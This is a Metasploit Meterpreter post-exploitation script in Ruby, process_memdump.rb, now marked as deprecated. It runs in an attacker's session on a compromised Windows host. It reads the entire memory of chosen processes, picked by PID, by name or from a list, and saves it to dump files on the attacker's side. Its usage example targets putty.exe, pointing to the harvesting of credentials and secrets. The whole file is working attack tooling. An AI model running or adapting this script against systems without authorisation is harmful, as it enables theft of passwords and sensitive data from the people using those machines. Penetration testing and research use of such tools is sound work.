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scripts/meterpreter/process_memdump.rb

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##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##



# Author: Carlos Perez at carlos_perez[at]darkoperator.com
# Note: Script is based on the paper Neurosurgery With Meterpreter by
#    Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com)
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
require 'fileutils'
@client = client
pid = nil
name = nil
toggle = nil
resource = nil
query = false

@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false, "Help menu." ],
  "-p" => [ true, "PID of process to dump."],
  "-n" => [ true, "Name of process to dump."],
  "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."],
  "-t" => [ false, "toggle location information in dump."],
  "-q" => [false, "Query the size of the Process that would be dump in bytes."]
)

def usage
  print_line("")
  print_line("USAGE:")
  print_line("EXAMPLE: run process_memdump putty.exe")
  print_line("EXAMPLE: run process_memdump -p 1234")
  print_line(@exec_opts.usage)
  raise Rex::Script::Completed
end

@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    usage
  when "-p"
    pid = val
  when "-n"
    name = val
  when "-t"
    toggle = true
  when "-q"
    query = true
  when "-r"
    list = val
    resource = ""
    if not ::File.exist?(list)
      raise "Command List File does not exist!"
    else
      ::File.open(list, "r").each_line do |line|
        resource << line
      end
    end
  end
}


# Function for finding the name of a process given it's PID
def find_procname(pid)
  name = nil
  @client.sys.process.get_processes.each do |proc|
    if proc['pid'] == pid.to_i
      name = proc['name']
    end
  end
  return name
end

# Find all PID's for a given process name
def find_pids(name)
  proc_pid = []
  @client.sys.process.get_processes.each do |proc|
    if proc['name'].downcase == name.downcase
      proc_pid << proc['pid']
    end
  end
  return proc_pid
end

# Dumps the memory for a given PID
def dump_mem(pid,name, toggle)
  host,port = @client.session_host, session.session_port
  # Create Filename info to be appended to created files
  filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")
  # Create a directory for the logs
  logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump')
  # Create the log directory
  ::FileUtils.mkdir_p(logs)
  #Dump file name
  dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"
  print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")
  begin
    dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)
  rescue
    print_error("Could not open process for reading memory!")
    raise Rex::Script::Completed
  end
  # MaximumApplicationAddress for 32bit or close enough
  maximumapplicationaddress = 2147418111
  base_size = 0
  while base_size < maximumapplicationaddress
    mbi = dump_process.memory.query(base_size)
    # Check if Allocated
    if mbi["Available"].to_s == "false"
      file_local_write(dumpfile,mbi.inspect) if toggle
      file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
      print_status("\tbase size = #{base_size/1024}")
    end
    base_size += mbi["RegionSize"]
  end
  print_status("Saving Dumped Memory to #{dumpfile}")

end

# Function to query process Size
def get_mem_usage( pid )
  p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
  if( p )
    begin

      if( not @client.railgun.get_dll( 'psapi' ) )
        @client.railgun.add_dll( 'psapi' )
      end

      # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx
      if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )
        @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
          [ "HANDLE", "hProcess", "in" ],
          [ "PBLOB", "ProcessMemoryCounters", "out" ],
          [ "DWORD", "Size", "in" ]
          ]
        )
      end

      r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
      if( r['return'] )
        pmc = r['ProcessMemoryCounters']
        # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)
        # Note: As we get the raw structure back from railgun we need to account
        #       for SIZE_T variables being 32bit on x86 and 64bit on x64
        mem = nil
        if( @client.arch == 'x86' )
          mem = pmc[12..15].unpack('V').first
        elsif( @client.arch == 'x64' )
          mem = pmc[16..23].unpack('Q').first
        end
        return (mem/1024)
      end
    rescue
      p "Exception - #{$!}"
    end

    p.close
  end

  return nil
end

# Main
if client.platform == 'windows'
  if resource
    resource.each do |r|
      next if r.strip.length < 1
      next if r[0,1] == "#"
      print_status("Dumping memory for #{r.chomp}") if not query
      pids = find_pids(r.chomp)
      if pids.length == 0
        print_status("\tProcess #{r.chomp} not found!")
        next
      end
      pids.each do |p|
        print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query
        dump_mem(p,r.chomp,toggle) if not query
      end
    end
  elsif pid
    name = find_procname(pid)
    print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query
    print_status("Dumping memory for #{name}") if not query
    dump_mem(pid,name,toggle) if not query
  elsif name
    print_status("Dumping memory for #{name}") if not query
    find_pids(name).each do |p|
      print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query
      dump_mem(p,name,toggle) if not query
    end
  else
    usage
  end
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end